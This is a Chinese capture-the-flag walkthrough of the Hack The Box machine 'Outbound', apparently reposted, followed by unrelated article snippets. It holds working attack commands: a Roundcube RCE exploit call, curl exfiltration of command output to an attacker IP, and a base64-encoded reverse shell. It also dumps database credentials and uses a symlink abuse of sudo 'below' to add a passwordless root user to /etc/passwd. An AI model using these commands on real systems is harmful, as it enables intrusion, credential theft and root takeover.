Rustscan扫描

在这里插入图片描述

我们开局便拥有账号 tyler / LhKL1o9Nm3X2,我们使用rustscan进行扫描

rustscan -a 10.10.11.77 --range 1-65535 --scan-order "Random" -- -A 

![[Pasted image 20250714084857.png]]

Web服务漏洞探查

我们以账号tyler / LhKL1o9Nm3X2登录webmail,并快速确认版本信息。
![[Pasted image 20250714085806.png]]

该版本存在RCE漏洞
![[Pasted image 20250714085846.png]]

我们找到相应的CVE漏洞POC
![[Pasted image 20250714090518.png]]

反连shell建立

user权限获取,我们先探测拥有哪些shell

#探测命令执行情况
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'curl http://10.10.16.6:80/$(id | base64 -w0)'uid=33(www-data) gid=33(www-data) groups=33(www-data)#探测nc python 等软件是否存在
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'curl http://10.10.16.4:80/$(which python nc bash sh ncao curl rustcat openssl perl php ruby socat ndoe java telnet zsh lua golang vlang awk nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null| base64 -w0)'/usr/bin/bash
/usr/bin/sh
/usr/bin/curl
/usr/bin/openssl
/usr/bin/perl
/usr/bin/php
/usr/bin/socat
/usr/bin/awk
/usr/bin/wget
/usr/bin/curl
/usr/bin/base64
/usr/bin/socat
/usr/bin/perl
/usr/bin/php#使用bash开启反向shell
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'echo L3Vzci9iaW4vcGhwIC1yICckc29jaz1mc29ja29wZW4oIjEwLjEwLjE2LjQiLDkwMDEpO2V4ZWMoIi9iaW4vYmFzaCA8JjMgPiYzIDI+JjMiKTsn | base64 -d | bash'

![[Pasted image 20250714092916.png]]

Cat查询存在用户 & ss查询端口开放情况

我们快速信息搜集,发现了用户、端口等信息

cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
tyler:x:1000:1000::/home/tyler:/bin/bash
jacob:x:1001:1001::/home/jacob:/bin/bash
mel:x:1002:1002::/home/mel:/bin/bashss -tuln
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
tcp   LISTEN 0      100        127.0.0.1:25        0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:993       0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:995       0.0.0.0:*          
tcp   LISTEN 0      80         127.0.0.1:3306      0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:143       0.0.0.0:*          
tcp   LISTEN 0      511          0.0.0.0:80        0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:110       0.0.0.0:*          
tcp   LISTEN 0      100             [::]:993          [::]:*          
tcp   LISTEN 0      100             [::]:995          [::]:*          
tcp   LISTEN 0      100            [::1]:25           [::]:*          
tcp   LISTEN 0      100             [::]:143          [::]:*          
tcp   LISTEN 0      100             [::]:110          [::]:* 

爬取数据库

我们发现了web服务的config文件/var/www/html/roundcube/config/config.inc.php

$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

我们尝试访问3306端口,进入数据库

mysql -u roundcube -pRCDBPass2025 -e "SHOW DATABASES;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SHOW TABLES;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SELECT * FROM users ;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SELECT * FROM session ;"

经过网上的查询,我们了解到roundcube的users表并不包含密码。所以我们转战session,我们解密session的var字段,获取jacob用户的密码hash

L7Rv00A8TuwJAr67kITxxcSgnIk25Am

![[Pasted image 20250714110703.png]]
![[Pasted image 20250714110720.png]]

有趣的是我们还发现了/var/www/html/roundcube/bin/decrypt.sh工具

./decrypt.sh 'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/'
595mO8DmwGeD

![[Pasted image 20250714110847.png]]

密码正确,切换成功
![[Pasted image 20250714111059.png]]

翻找邮箱文件获取账户密码

我们登录邮箱,发现邮件一个说jacob改了密码,一个说jacob拥有below访问权限。
![[Pasted image 20250714111614.png]]

![[Pasted image 20250714111625.png]]

gY4Wr3a1evp4

【TIP?】有趣的是我们密码被修改了,可为什么su却可以正常运行?是因为我们通过RCE进入的是一个虚拟机。

sudo二进制文件提权

接下来我们发现sudo -l 里面有一个命令below,并发现该命令的dump功能一旦出错,就会写入到/var/log/below/error_root.log 文件中。

-rw-rw-rw-  1 root  root      0 Jul 14 06:48 error_root.log

那么结合软连接跳转,我们可以创建新的文件,并且权限情况。

ln -sf /var/log/below/test /var/log/below/error_root.log
#出发错误从而写入error_root.log文件
sudo below dump --snapshot /root/ disk --begin now#创建的新文件
-rw-rw-rw-  1 root  root    588 Jul 14 06:52 test

![[Pasted image 20250714145232.png]]

我们现在有创建新文件的能力,那么我们验证以下是否拥有修改文件权限的能力。

rm test
touch test#获得的文件权限
-rw-rw-r--  1 jacob jacob     0 Jul 14 06:55 test#执行攻击
ln -sf /var/log/below/test /var/log/below/error_root.log
#出发错误从而写入error_root.log文件
sudo below dump --snapshot /root/ disk --begin now#修改后的文件权限
-rw-rw-rw-  1 jacob jacob   226 Jul 14 06:56 test

可以看到文件的所有者没有改变,但权限情况变了,所有人都可写了,这可能非常危险。这就确定了我们可以修改/etc/passwd文件,也可以修改/root/.ssh/id_ed25519来完成提权。下面是两种做法

# ==== /etc/passwd 版本 ====
ln -sf /etc/passwd /var/log/below/error_root.log
sudo below dump --snapshot /root/ disk --begin now
ls -al /etc/passwd
echo 'ydx::0:0:ydx:/root:/bin/bash' >> /etc/passwd
su ydx 

![[Pasted image 20250714150307.png]]

# ==== /root/.ssh/id_ed25519 版本 ====
ln -sf /root/.ssh/id_ed25519 /var/log/below/error_root.log
sudo below dump --snapshot /root/ disk --begin now
cat /root/.ssh/id_ed25519

![[Pasted image 20250714150057.png]]

没能成功,暂时不了解为何,可能是/root/.ssh/文件夹的权限存在控制情况。后续进入root账户后,发现确实为该问题。
![[Pasted image 20250714150934.png]]

所以我们尝试是否能够用同样的办法修改文件夹权限,目录没法做到相同的事情,所以该方法无法使用。

ln -sf /root /var/log/below/error_root.log
sudo below dump --snapshot /root disk --begin now

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/88871.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/88871.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/88871.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

动态组件和插槽

[Vue2]动态组件和插槽 动态组件和插槽来实现外部传入自定义渲染 组件 <template><!-- 回复的处理进度 --><div v-if"steps.length > 0" class"gain-box-header"><el-steps direction"vertical"><div class"l…

Unreal5从入门到精通之如何实现UDP Socket通讯

文章目录 一.前言二.什么是FSocket1. FSocket的作用2. FSocket关键特性三.创建Socket四.数据传输五.线程安全六.UDPSocketComponentUDPSocketComponent.hUUDPSocketComponent.cpp七.SocketTest测试八.最后一.前言 我们在开发UE 的过程中,会经常使用到Socket通讯,包括TCP,UD…

UI前端大数据处理新趋势:基于边缘计算的数据处理与响应

hello宝子们...我们是艾斯视觉擅长ui设计、前端开发、数字孪生、大数据、三维建模、三维动画10年经验!希望我的分享能帮助到您!如需帮助可以评论关注私信我们一起探讨!致敬感谢感恩!一、引言&#xff1a;前端大数据的 “云端困境” 与边缘计算的破局当用户在在线文档中实时协作…

Reading and Writing to a State Variable

本节是《Solidity by Example》的中文翻译与深入讲解&#xff0c;专为零基础或刚接触区块链开发的小白朋友打造。我们将通过“示例 解说 提示”的方式&#xff0c;带你逐步理解每一段 Solidity 代码的实际用途与背后的逻辑。Solidity 是以太坊等智能合约平台使用的主要编程语…

c# 深度解析:实现一个通用配置管理功能,打造高并发、可扩展的配置管理神器

文章目录深入分析 ConfigManager<TKey, TValue> 类1. 类设计概述2. 核心成员分析2.1 字段和属性2.2 构造函数3. 数据加载机制4. CRUD 操作方法4.1 添加数据4.2 删除数据4.3 更新数据4.4 查询数据4.5 清空数据5. 数据持久化6. 设计亮点7. 使用示例ConfigManager<TKey, …

运维打铁: Python 脚本在运维中的常用场景与实现

文章目录引言思维导图常用场景与代码实现1. 服务器监控2. 文件管理3. 网络管理4. 自动化部署总结注意事项引言 在当今的 IT 运维领域&#xff0c;自动化和效率是至关重要的。Python 作为一种功能强大且易于学习的编程语言&#xff0c;已经成为运维人员不可或缺的工具。它可以帮…

【零基础入门unity游戏开发——unity3D篇】3D光源之——unity反射和反射探针技术

文章目录 前言实现天空盒反射1、新建一个cube2、全反射材质3、增加环境反射分辨率反射探针1、一样把小球材质调成全反射2、在小球身上加添加反射探针3、设置静态物体4、点击烘培5、效果6、可以修改反射探针区域大小7、实时反射专栏推荐完结前言 当对象收到直接和间接光照后,它…

React Three Fiber 实现 3D 模型点击高亮交互的核心技巧

在 WebGL 3D 开发中&#xff0c;模型交互是提升用户体验的关键功能之一。本文将基于 React Three Fiber&#xff08;R3F&#xff09;和 Three.js&#xff0c;总结 3D 模型点击高亮&#xff08;包括模型本身和边框&#xff09;的核心技术技巧&#xff0c;帮助开发者快速掌握复杂…

卷积神经网络实战:MNIST手写数字识别

夜渐深&#xff0c;我还在&#x1f618; 老地方 睡觉了&#x1f64c; 文章目录&#x1f4da; 卷积神经网络实战&#xff1a;MNIST手写数字识别&#x1f9e0; 4.1 预备知识⚙️ 4.1.1 torch.nn.Conv2d() 三维卷积操作&#x1f4cf; 4.1.2 nn.MaxPool2d() 池化层的作用&#x1f4…

HarmonyOS应用无响应(AppFreeze)深度解析:从检测原理到问题定位

HarmonyOS应用无响应&#xff08;AppFreeze&#xff09;深度解析&#xff1a;从检测原理到问题定位 在日常应用使用中&#xff0c;我们常会遇到点击无反应、界面卡顿甚至完全卡死的情况——这些都可能是应用无响应&#xff08;AppFreeze&#xff09; 导致的。对于开发者而言&am…

湖北设立100亿元人形机器人产业投资母基金

湖北设立100亿元人形机器人产业投资母基金 湖北工信 2025年07月08日 12:03 湖北 &#xff0c;时长01:20 近日&#xff0c;湖北设立100亿元人形机器人产业投资母基金&#xff0c;重点支持人形机器人和人工智能相关产业发展。 人形机器人产业投资母基金由湖北省财政厅依托省政府…

时序预测 | Pytorch实现CNN-LSTM-KAN电力负荷时间序列预测模型

预测效果 代码主要功能 该代码实现了一个结合CNN&#xff08;卷积神经网络&#xff09;、LSTM&#xff08;长短期记忆网络&#xff09;和KAN&#xff08;Kolmogorov-Arnold Network&#xff09;的混合模型&#xff0c;用于时间序列预测任务。主要流程包括&#xff1a; 数据加…

OCR 识别:车牌识别相机的 “火眼金睛”

车牌识别相机在交通管理、停车场收费等场景中&#xff0c;需快速准确识别车牌信息。但实际环境中&#xff0c;车牌可能存在污渍、磨损、光照不均等情况&#xff0c;传统识别方式易出现误读、漏读。OCR 技术让车牌识别相机如虎添翼。它能精准提取车牌上的字符&#xff0c;不管是…

Java面试基础:面向对象(2)

1. 接口里可以定义哪些方法抽象方法&#xff1a;抽象方法是接口的核心部分&#xff0c;所有实现接口的类都必须实现这些方法。抽象方法默认是 public 和 abstract 修饰&#xff0c;这些修饰符可以省略。public interface Animal {void Sound(); }默认方法&#xff1a;默认方法是…

有哪些更加简洁的for循环?循环语句?

目录 简洁的for循环 循环过程修改循环变量 循环语句 不同编程语言支持的循环语句 foreach 无限循环 for循环历史 break和continue 循环判断结束值 循环标签 循环语句优化 循环表达式返回值 简洁的for循环 如果需要快速枚举一个集合的元素&#xff0c;尽管C语言可以…

RK3568/3588 Android 12 源码默认使用蓝牙mic录音

遇到客户一个需求&#xff0c;如果连接了带mic的蓝牙耳机&#xff0c;默认所有的录音要走蓝牙mic通道。这个功能搞了好久&#xff0c;终于搞定了。1. 向RK寻求帮助&#xff0c;先打通 bt sco能力。此时&#xff0c;还无法默认就切换到蓝牙 mic通道&#xff0c;接下来我们需求默…

解锁HTTP:从理论到实战的奇妙之旅

目录一、HTTP 协议基础入门1.1 HTTP 协议是什么1.2 HTTP 协议的特点1.3 HTTP 请求与响应的结构二、HTTP 应用场景大揭秘2.1 网页浏览2.2 API 调用2.3 文件传输2.4 内容分发网络&#xff08;CDN&#xff09;2.5 流媒体服务三、HTTP 应用实例深度剖析3.1 使用 JavaScript 的 fetc…

uvm_config_db examples

通过uvm_config_db类访问的UVM配置数据库,是在多个测试平台组件之间传递不同对象的绝佳方式。 methods 有两个主要函数用于从数据库中放入和检索项目,分别是 set() 和 get()。 static function void set ( uvm_component cntxt,string inst_name,string …

(C++)任务管理系统(文件存储)(正式版)(迭代器)(list列表基础教程)(STL基础知识)

目录 前言&#xff1a; 源代码&#xff1a; 代码解析&#xff1a; 一.头文件和命名空间 1. #include - 输入输出功能2. #include - 链表容器3. #include - 字符串处理4. using namespace std; - 命名空间 可视化比喻&#xff1a;建造房子 &#x1f3e0; 二.menu()函数 …

Java 中的异步编程详解

前言 在现代软件开发中&#xff0c;异步编程&#xff08;Asynchronous Programming&#xff09; 已经成为构建高性能、高并发应用程序的关键技术之一。Java 作为一门广泛应用于后端服务开发的语言&#xff0c;在其发展过程中不断引入和优化异步编程的支持。从最初的 Thread 和…